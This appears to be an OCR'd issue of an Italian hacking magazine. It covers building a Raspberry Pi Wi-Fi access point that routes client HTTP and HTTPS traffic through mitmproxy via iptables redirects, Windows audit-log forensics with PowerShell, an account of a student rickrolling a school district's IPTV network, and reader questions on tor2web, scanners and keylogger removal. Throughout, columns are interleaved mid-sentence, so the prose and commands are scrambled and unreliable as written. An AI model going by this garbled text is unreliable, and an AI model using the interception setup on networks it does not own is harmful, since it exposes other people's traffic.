il traffico di rete dei client gli indirizzi IP ai client che si sudo cp /usr/share/doc/hostapd/
che lo utilizzeranno. connetteranno all’AP. Prima examples/hostapd.conf .
DIFFICOLTÀ di procedere con l’installazione e la sudo nano /etc/hostapd/hostapd.
configurazione di Mitmproxy occorre conf
prendere in considerazione hostapd,
che di default conserva un file di Una volta aperto il file bisognerà
configurazione di esempio nella cartella individuare e modificare tutte le
variabili indicate di seguito, a volte
modificando i valori predefiniti
e a volte decommentandole:
interface=wlan0
ssid=NOME_DELL’ACCESS POINT
macaddr_acl=0
46
MITM
Un proxy Man In The Middle è un Per far sì che anche Mitmproxy
venga riconosciuto come un
software che “ascolta” il traffico in servizio da systemd, dovrete
uscita generato dai client della rete creare un file “servizio”:
47
HOW TO
A sei anni dall’uscita della
prima Raspberry Pi Zero, è stata
rilasciata Raspberry Pi Zero 2W.
Nel video all’URL bit.ly/hj258_nrpz
trovate tutte le caratteristiche
tecniche del nuovo SBC.
REGOLE DI FORWARDING
Al fine di intercettare
correttamente il traffico tra
le due interfacce di rete
della Raspberry Pi, è necessario
creare delle regole per il firewall
di default installato su Linux,
il famosissimo e temutissimo
(per le sue tantissime
configurazioni) iptables.
Senza creare alcun file
di configurazione, sarà sudo sh -c “iptables-save > di riavviare il sistema, con sudo
sufficiente lanciare da shell /etc/iptables.up.rules” reboot, e iniziare a testare il nuovo
i seguenti comandi: sudo nano /etc/rc.local Access Point appena creato.
iptables-restore <
sudo iptables -A FORWARD -i /etc/iptables.up.rules IL PRIMO TEST
eth0 -o wlan0 -m state --state Se tutto è andato per il meglio
RELATED,ESTABLISHED -j ACCEPT Ultima operazione per quanto potrete utilizzare un dispositivo
sudo iptables -A FORWARD -i riguarda le impostazioni Wi-Fi (smartphone, tablet o PC)
wlan0 -o eth0 -j ACCEPT di rete è quella di “dire” al sistema per verificare la presenza dell’AP
sudo iptables -t nat -A di abilitare il forwarding appena creato. Avviate la ricerca
POSTROUTING -o eth0 -j da una rete all’altra lanciando delle reti wireless e connettetevi
MASQUERADE il seguente comando: utilizzando la password impostata
sudo iptables -t nat -A in precedenza. Contestualmente,
PREROUTING -i wlan0 -p tcp -m sudo sysctl -w net.ipv4.ip_ utilizzando una macchina
tcp --dport 80 -j REDIRECT forward=1 connessa alla rete LAN, visitate
--to-ports 8080 con un browser l’indirizzo IP della
sudo iptables -t nat -A e rendendo persistenti Raspberry usando la porta indicata
PREROUTING -i wlan0 -p tcp -m le impostazioni, modificando nella configurazione di Mitmproxy
tcp --dport 443 -j REDIRECT il file nano /etc/sysctl.conf (http://192.168.10.45:9090 nel
--to-ports 8080 decommentando il seguente rigo: nostro caso). Attendete qualche
secondo e visitate un qualsiasi
e in seguito salvare la # Uncomment the next line to sito dal vostro dispositivo Wi-Fi
configurazione di iptables enable packet forwarding for connesso all’Access Point.
in un file, che richiamerete IPv4 net.ipv4.ip_forward=1 Nella pagina Web di Mitmproxy
a ogni avvio del sistema tramite troverete tutto il traffico generato
il file /etc/rc.local. È giunto infine il momento dal vostro smartphone, tablet o PC
connesso al Wi-Fi. Tramite i tab
Con Mitmproxy scoprirete se qualche request, response e details
dell’interfaccia Web è possibile
intruso si è intrufolato di nascosto analizzare nel dettaglio il flusso
nella vostra rete di casa o aziendale del traffico generato dai client.
48
ABBONATI
ALLA TUA RIVISTA PREFERITA
TE LA SPEDIAMO APPENA STAMPATA!
Con l’abbonamento
cartaceo la versione
Riceverai 12 numeri a soli
33
digitale è in OMAGGIO!
,90€
invece di 46 ,80€ DISPONIBILE ANCHE SOLO
IN VERSIONE DIGITALE
N
IN BREVE ell’ultima puntata abbiamo un “filo conduttore” che ci consentisse
Impariamo a usare imparato a impostare di ricostruire la storia degli accessi
gli strumenti di analisi l’audit su una directory compiuti sui file.
dei log del sistema del filesystem (leggete
operativo di casa
il box Audit & filesystem), grazie EVENTO 4656
Microsoft.
al quale siamo riusciti a individuare L’evento esaminato nel corso delle
DIFFICOLTÀ alcune delle attività eseguite nostre indagini è quello con ID 4656,
sulla directory C:\IMPORTANTE “An handle to an object was
dal nostro utente di prova (utente2) requested”. Si tratta di un evento
che utilizziamo per simulare l’operato generato a ogni tentativo d’accesso
di un attaccante. di un utente a una risorsa (che sia file
Nonostante i nostri sforzi, tuttavia, oppure directory) sottoposta ad audit,
è risultato praticamente impossibile e consente di ottenere informazioni
ricostruire in maniera precisa le attività rilevanti come:
compiute dall’utente sul filesystem: • l’utente che ha provato a eseguire
mediante una ricerca per ID, effettuata l’accesso (di cui, nella sezione Subject,
con Event Viewer, siamo infatti riusciti vengono riportati username – campo
a recuperare alcune delle operazioni Account Name, SID – campo Security
tracciate dal sistema operativo ID e i dati identificativi della sessione
relativamente alle attività di utente2, di lavoro durante la quale è avvenuto il
senza tuttavia riuscire a ottenere tentativo d’accesso – campo Logon ID);
• l’oggetto verso cui è rivolto il tentativo
d’accesso (con indicazione, nella
figura #1 sezione Object, del tipo – campo
Object Type, del nome – Object
Name e, soprattutto, del cosiddetto
Handle ID, un valore numerico
– non ripetibile sino al successivo
reboot della macchina, al pari
del “Logon ID” – utilizzabile proprio
L’evento 4656 relativo come “filo conduttore” per ricostruire
a un accesso di utente2 le operazioni compiute sul singolo
al file C:\IMPORTANTE\ oggetto);
eseguibile.bat.
• il processo attraverso il quale è
avvenuto il tentativo d’accesso (di cui
50
LOG DI WINDOWS
nella sezione Process Per attivare le funzionalità di audit
information possiamo conoscere
il nome – Process Name e l’ID in Windows dobbiamo usare il Local
– Process ID); Group Policy Editor (gpedit.msc)
• la tipologia d’accesso richiesto
(sezione Access request
information, con l’indicazione figura #2
dei permessi richiesti nel campo
Accesses).
RICERCA PER ID
Dalla descrizione appena fornita
non è difficile capire come i singoli
eventi 4656 siano in grado
di fornire esclusivamente
un’indicazione “puntuale”
di quanto avvenuto su un singolo
oggetto del filesystem, come
abbiamo verificato nel corso
delle indagini condotte nell’ultima
puntata. Ricorrendo alle
funzionalità di Event Viewer, L’interrogazione in PowerShell per
individuare la lista degli eventi
infatti, siamo riusciti a individuare
loggati sul file, a partire dal relativo
Handle ID.
51
HOW TO
Con il comando in figura possiamo
accedere anche ai contenuti
figura #3 dei singoli eventi.
figura #4
I contenuti del file C:\
IMPORTANTE\file_importante.txt.
forza di cose, comportano una del file C:\IMPORTANTE\eseguibile. della lista è bene optare
correlazione tra gli eventi generati bat è pari a 0x14c. Proviamo allora per il comando visibile
sull’oggetto d’interesse… quel a effettuare una ricerca nel in [figura #3]:
genere di correlazioni consentite registro Security per questo
dall’Handle ID, non a caso valore specifico, utilizzando > Get-WinEvent
intercettato (e tracciato) stavolta PowerShell. -FilterHashtable @{
dall’evento 4656. L’Handle ID LogName=’Security’;
identifica univocamente un RICERCA CON POWERSHELL data=’0x014c’} | Format-List
oggetto tra due reboot consecutivi Avviamo PowerShell come
della macchina: ciò significa che, amministratore ed eseguiamo Possiamo ripetere questo
per esempio, nel corso della il comando procedimento anche per altri
sessione di lavoro durante la file presenti nella medesima
quale è stato tracciato l’evento in > Get-WinEvent directory: per esempio,
[figura #1], il valore dell’Handle ID -FilterHashtable @{ C:\IMPORTANTE\file_
LogName=’Security’; importante.txt, che contiene dati
data=’0x014c’} particolarmente sensibili [figura
XPath #4], ovvero le credenziali di alcuni
che, per l’appunto, chiede account relativi a servizi finanziari,
Si tratta di un linguaggio
pensato per la ricerca di selezionare la lista degli home banking compreso.
di informazioni all’interno eventi del registro Security In questo caso, l’Handle ID è pari
di un documento XML ed contenenti il valore dell’Handle a 0x11c, come testimonia l’evento
è supportato, in uno specifico ID di nostro interesse [figura #2]. 4656 in [figura #5], ottenuto
sottoinsieme della sua versione
1.0, dal sistema di log di
Se desideriamo visualizzare a seguito di un’apposita ricerca
Windows. I log sono infatti i dettagli di ogni singolo evento condotta con Event Viewer.
conservati nativamente
in formato XML, e per questo
si prestano perfettamente
Grazie a Event Viewer scopriamo
ad essere interrogati gli eventi e gli errori avvenuti
mediante query XPath.
sul nostro sistema Windows
52
LOG DI WINDOWS
figura #5 XPATH
Meglio tornare, piuttosto, a Event
Viewer e alla sua visualizzazione
più user friendly. Se il nostro
scopo è quello di capire cosa
sia accaduto all’archivio file-
importante.txt, tuttavia, le query
standard di Event Viewer non
sono sufficienti: abbiamo bisogno
di scomodare una nostra vecchia
conoscenza, XPath (vedi il box
omonimo). Il procedimento
per effettuare una query XPath
L’evento 4656 relativo a un accesso di utente2 al file C:\IMPORTANTE\
non è complesso:
file_importante.txt, da cui possiamo ricavare il relativo Handle ID.
• dalla schermata principale
UN’ALTRA VIA fossimo disposti a controllare uno di Event Viewer, selezioniamo
Chi ha avuto accesso a questo file, per uno i 19 eventi (attenzione: il registro Security mediante
e quali operazioni vi ha compiuto? stiamo parlando di un laboratorio, le voci Windows Logs | Security
Vediamo cosa ci può rivelare in un sistema reale l’output del presenti sul pannello sinistro del
al riguardo PowerShell, reiterando nostro comando potrebbe essere programma, quindi premiamo
il medesimo comando già visto più corposo), ci scontreremmo il pulsante “Filter current log”
per il file batch: comunque con una verità per avviare una query guidata;
ineluttabile: leggere, interpretare • inseriamo, come ID da filtrare,
> Get-WinEvent e correlare diversi eventi tramite il 4656;
-FilterHashtable @{ PowerShell è tutt’altro che • spostiamoci sul secondo tab,
LogName=’Security’; comodo e immediato. denominato XML, in modo da
data=’0x011c’}
L’interrogazione in PowerShell per individuare la lista degli eventi loggati
Il risultato [figura #6], ancora una su file_importante.txt, a partire dal relativo Handle ID...
volta, è una lista troppo corposa
per essere esaminata in tempi
brevi senza un’adeguata figura #6
scrematura. Stiamo infatti
parlando di 19 eventi, numero
ricavabile ricorrendo alla cmdlet
Measure-Object [figura #7]
> Get-WinEvent
-FilterHashtable @{
LogName=’Security’;
data=’0x011c’} |
Measure-Object
53
HOW TO
54
LOG DI WINDOWS
dei comandi, vedi il campo
Process Name della sezione figura #10
Process Information).
Al contrario, l’evento 4658 è più L’evento 4663
parco di dettagli [figura #11], ci rivela che l’accesso
ma ci conferma che, subito a file_importante.txt
dopo l’accesso in lettura, l’handle è avvenuto tramite
del file è stato chiuso dal suddetto riga di comando…
prompt dei comandi (come
peraltro confermato anche
dall’orario associato a tale
evento, che è il medesimo
dell’evento 4663).
L’INTERPRETAZIONE
Adesso che abbiamo il quadro
degli eventi tracciati da Windows,
non ci resta che dedicarci alla
parte più complessa della nostra
analisi, ovvero l’interpretazione.
Cosa è accaduto realmente al file
C:\IMPORTANTE\file_importante.
txt contenente le credenziali dei
nostri conti bancari? Mettendo
insieme quanto riportato dagli
eventi 4656, 4663 e 4658, figura #11
possiamo senz’altro affermare
che utente2:
• ha avviato il prompt dei comandi … e l’evento 4658,
sulla macchina; invece, che il file
è stato chiuso
• ha avuto accesso ai contenuti subito dopo.
del file tramite la riga di comando,
usando quindi un comando
come type o more in luogo
del classico Notepad;
• non ha effettuato modifiche
al file (quindi perlomeno l’integrità
dei suoi contenuti è salva).
In altri termini, le nostre
informazioni bancarie sono ormai
in possesso dell’attaccante,
il quale non si è senz’altro
fermato qui: ma per indagare
più a fondo sulle attività malevole
condotte da utente2 sul nostro
filesystem, dovete attendere
il prossimo numero…
55
HACKULTURE
Come ti R i c k r o l l o
la scuola
GLOSSARIO
DI BASE
PRANKING
co co m ’è an da to l’a ttacco hacker che
Ec
Gli hacker amano i trucchi e gli
istrazione scolastica
scherzi maliziosi, specialmente ha mostrato all’ammin
e della sua rete.
dell’Illinois le debolezz
quelli pratici, in cui viene fatto
qualcosa piuttosto che detto.
Si chiama fare pranking.
Sarà finito tutto bene?
L’
insicurezza dei su Internet succedono cose brutte, dell’Illinois (USA). La rete del
dispositivi attaccati se non ci si protegge. È quindi distretto, che comprende sei
alla rete è ormai quasi criminale il modo con istituti e ospita più di undicimila
diventata materia il quale vengono configurati studenti, è stata bucata senza
di leggenda e infiniti aneddoti. gli apparecchi connessi e le reti pietà facendo girare il video della
I protocolli di Internet sono nati che li supportano. È come se canzone “Never Gonna Give You
in un’epoca ingenua, in cui gli chiedessero di essere violati. Up” su qualsiasi display connesso
scienziati che collegavano tra loro presente nella rete scolastica, con
i mainframe delle università non L’ATTACCO ALLA RETE una sincronizzazione perfetta e
pensavano che avrebbero mai È quello che ha pensato Minh, senza latenze. Nessuno schermo
visto attacchi “hacker” alle proprie lo studente-hacker che il 30 aprile si è salvato, né quelli della mensa
reti. Oggi la diffusione dell’IoT del 2021 ha fatto Rickrolling (se con il menu del pranzo, né i
(Internet of Things) sicuramente non sapete cos’è, leggete il box in proiettori delle classi e neanche
appartiene a un’epoca queste pagine) dell’intero distretto i monitor nelle hall con gli orari
disincantata in cui tutti scolastico, il Township High School delle lezioni. Come ha fatto Minh?
dovrebbero sapere che District 214, uno dei più grandi Semplice: l’ha spiegato lui stesso
aiutando lo staff IT del distretto
scolastico a mettere finalmente
I dispositivi IoT sono in circolazione ormai
la rete in ordine, per prevenire
da anni, ma per qualche motivo la loro possibili attacchi maligni. Per farlo
resistenza agli attacchi è ancora limitata... ha realizzato un report di 26
56
RICKROLLING
pagine che documenta tutte le fasi
del pentest. Ovviamente, spiega
l’hacker, quel che ha fatto assieme
COS’È IL RICKROLLING
alla sua piccola posse è stato
Si tratta di uno scherzo e al tempo stesso di un meme che sfrutta il video musicale
fortemente illegale. Ma il distretto della canzone del 1987 “Never Gonna Give You Up” di Rick Astley. Il meme/scherzo
214 ha voluto cogliere l’aspetto consiste in un’esca che attiva il video: una persona fornisce un collegamento iperte-
positivo e sfruttare in maniera stuale apparentemente rilevante per l’argomento di cui si sta parlando, ma in realtà
creativa la competenza: invece, questo porta al video di Astley che parte e gira in loop. Il meme è quindi anche un
dice Minh, “altri distretti prank, ed è nato sulla falsariga di un altro popolare meme di 4chan dei primi anni
mi avrebbero sicuramente duemila, che si chiamava “duck rolling” (una GIF animata di un’anatra che cammi-
denunciato”. na) ed era diventato lo scherzo preferito da fare come pesce d’aprile. A renderlo
popolare è stato YouTube, che lo ha usato il primo d’aprile del 2008. Lo stesso anno
IL PROGETTO INIZIALE Rick Astley ha sfruttato la sua ritrovata popolarità per fare una apparizione a sor-
Il nostro Minh ha iniziato anni presa cantando “Never Gonna Give You Up” dal vivo durante la parata del Thanksgi-
ving a New York, organizzata dai grandi magazzini Macy. Quella, per intendersi,
prima ad appassionarsi alla scena
con i gonfiabili che vengono fatti svolazzare lungo la Quinta Strada.
dell’hacking e a cercare di capire
come funzionavano le reti attorno
a lui. In particolare, Minh racconta
che questa sua “fase da script CONOSCERE IL TUO AMBIENTE su indirizzi IP ad accesso ristretto.
kiddie” gli ha insegnato come fare Prima di fare qualsiasi cosa, un E qui Minh aveva trovato che
lo scan di tutto quello che era hacker deve fare delle ricognizioni i prodotti hardware e software
connesso alla rete della scuola e studiare le tecnologie che ha per la gestione della IPTV
senza farsi beccare, o almeno così trovato, sia quelle di rete che erano della stessa azienda:
pensava. Quella prima manovra dal punto di vista degli endpoint Avedia Player, Stream e Server.
non aveva comportato alcuna e dei terminali hardware. Le blue box connesse ai proiettori
conseguenza se non di esporre Nel caso di Minh, l’idea era di e TV si collegavano tramite SSH
8,3 milioni di indirizzi IP attaccare il sistema IPTV che era e usavano una interfaccia Web
dell’address space 10.0.0.0/8, con rimasto esposto alla rete degli per eseguire i comandi.
stampanti, telefoni IP, monitor, studenti anche dopo che il Inoltre, utilizzavano una CPU
videocamere di sicurezza: distretto si era accorto della esoterica chiamata ARC (Argonaut
centinaia di apparecchi senza scansione e aveva “tolto” alcune RISC Core) e facevano girare
alcun tipo di autenticazione. classi di apparecchi spostandoli una versione embedded di Linux
con gli strumenti della BusyBox.
Oltre agli streamer, cioè
i dispositivi che potevano gestire
lo stream del contenuto, per
esempio dal computer del
docente che deve fare lezione
e proietta le sue slide, c’erano
i server che gestivano la rete
e tutti gli apparecchi collegati: sia
i ricevitori con funzione di player
che gli streamer. Questa parte di
gestione consentiva di pianificare,
per esempio, i pannelli per la
mensa o quelli con gli orari delle
Sorpresa musicale! materie. Il server utilizzava CentOS
Direttamente dalla fine degli anni ‘80 del secolo scorso giunge la canzone e, come gli altri, un’interfaccia Web
usata dallo studente hacker per burlarsi di un intero distretto scolastico. e un server SSH.
57
HACKULTURE
rete e usare il server Avedia per
lo stream era troppo lento. La
soluzione è stata usare ffmpeg.
58
hackerjournal.it
REPLY
n la redazione insieme
Condividi i tuoi dubbi co rresti
menti su quello che vo
a nuove idee e suggeri al.it
vedere sulla rivista: re
dazione@hackerjourn
PROXY
In realtà non si tratta di Teoricamente è possibile
Tipo di server che funge da
intermediario per le richieste una decisione presa dalla collegarsi ai siti .onion
da parte dei client alla ricerca questura della tua città ma utilizzando uno dei tanti servizi
di risorse su altri server, di un protocollo internazionale proxy disponibili in Rete.
disaccoppiando così l’accesso che consente di catturare In questo modo, però, viene a
al Web dal browser.
e usare anonimamente questi mancare tutta la privacy offerta
dati per ottenere solo il numero dalla rete TOR, in quanto i nostri
KEYLOGGER
Strumento hardware di presenze complessive, non dati passeranno attraverso un
o software in grado di per identificare le persone. sito di cui non conosciamo nulla.
effettuare lo sniffing della Poi, naturalmente, non potremo Se per te questo non è un
tastiera di un computer, mai sapere se le cose stanno problema, puoi sicuramente
cioè di intercettare tutto
veramente così, ma devi provare a collegarti all’indirizzo
ciò che viene digitato senza
che l’utente si accorga considerare allora che in tutte https://tor2web.nl. Questo
di essere controllato. le principali città d’Italia sono già oltretutto è uno dei pochi
installate migliaia di telecamere gateway a utilizzare il protocollo
che riprendono in ogni momento HTTPS e quindi a fornire un
60
Z IO N E A N O N IM A
R E G IS T R A
La maggior parte dei servizi di chat e social richiede ormai
un numero di telefono per completare la registrazione attraverso
la ricezione di un messaggino SMS. Vorrei sapere se esistono un sito o
un’app, possibilmente gratuiti, che mi forniscano un numero di telefono
anche provvisorio da utilizzare per la registrazione.
Piero
SGAMARE IL KEYLOGGER
Nelle grandi città oggi è praticamente
Il mio antivirus ha individuato
impossibile muoversi senza venire la presenza del keylogger Hooker
controllati da telecamere o antenne sul mio PC Windows. Solo che
non so per quanto tempo l’ho
telefoniche in grado di localizzarci avuto e se abbia comunicato
i miei dati. A questo punto,
grado di sicurezza maggiore e raccogliere informazioni sugli siccome vorrei evitare che mi
rispetto a quelli che usano host presenti in rete?
capiti di nuovo, vi chiedo se
il vecchio HTTP. Una volta sul sito Leone non esista un software preciso
dovrai semplicemente inserire in grado di individuare queste
l’indirizzo .onion da raggiungere Se leggi regolarmente la nostra minacce informatiche.
e verrai ridiretta all’indirizzo rivista saprai che trattiamo Massimo
che ti interessa. A nostro parere spesso questo argomento.
è sempre meglio, comunque, A nostro parere NMap, Esistono diversi software
usare TOR Browser, se non puoi https://nmap.org, oltre che il più in grado di rilevare e bloccare
farlo con il computer puoi usato resta a oggi tra i migliori spyware, keylogger e trojan.
sempre scaricare il browser port scanner. Non possiamo I migliori sono quelli che vengono
di TOR sullo smartphone. tralasciare di citare però aggiornati più spesso come
Aircrack-ng che secondo molti SpyShelter, www.spyshelter.com
MIGLIOR SCANNER professionisti della sicurezza è che ha però il limite di avere
DI VULNERABILITÀ? lo strumento migliore per testare una licenza che costa 29 euro.
Mi potete consigliare un valido qualsiasi rete Wi-Fi alla ricerca La migliore alternativa gratuita
scanner di vulnerabilità con cui di vulnerabilità che possano è Zemana Antilogger, che
cercare porte aperte attraverso consentire a qualsiasi utente si può scaricare da www.
le quali connettermi non autorizzato di ottenere bleepingcomputer.com/download/
a un sistema da remoto la password per la nostra rete. zemana-antilogger-free/
61
Il prossimo nu mero gen na io
1
sa ra‘ in ed icola da l 3
Bucare la chat
senza SQL a
Ecco il bug del sistem
et Chat
di messaggistica Rock
Nascondi file...
dentro aivifisale
pere
Tutto quello che de
Sniffa il Wi-Fe i
rt
sull’arte della stegano
grafia La guida definitiva all’a i dati
alisi de
della cattura e dell’an n
che viaggiano nelle wla
Attacco ai log!
Dopo XSS e DoS,
ecco a voi un attacco
RCE in salsa log!
Events Production: Giulia Sprea (Mind S.r.l.) - giulia@sprea.it Distributore per l’Italia: Press-Di Distribuzione stampa e multimedia s.r.l. - 20090 Segrate
Distributore per l’Estero : SO.DI.P S.p.A. Via Bettola, 18 - 20092 Cinisello Balsamo (MI)
SERVIZIO QUALITÀ EDICOLANTI E DL Tel. +390266030400 - Fax +390266030269 - sies@sodip.it - www.sodip.it
Sonia Lancellotti, Virgilio Cofano: Tel. 02 92432295 - distribuzione@sprea.it
351 5582739 Stampa: Arti Grafiche Boccia S.p.A.- Via Tiberio Claudio Felice, 7- 84131 Salerno
Scansiona il QR Code
Acquistala su www.sprea.it/glorierock
versione digitale disponibile dal 20 dicembre
PU BBLICITÀ
100% INDIPENDENTE! NO
T utto quello
ch e g l i a l t r i
n o n o s a n o d i r t i !
IN QUES T O N U M E R O
VULNERABILITÀ | Accesso (quasi) libero a GitLab
Il concorrente Open Source di GitHub ha una vulnerabilità che permette
agli utenti di accedere a repository che non dovrebbero vedere
Prezzi esteri: AUT € 7,50 - BE € 7,00 - LUX € 6,50 - F+PM € 9,50 FR + € 10,50 PM - ES € 6,00 - PT (Cont.) € 5,50 - CH Tedesca CHF 8,3 - CH Ticino CHF 7,3 - OLANDA € 7,50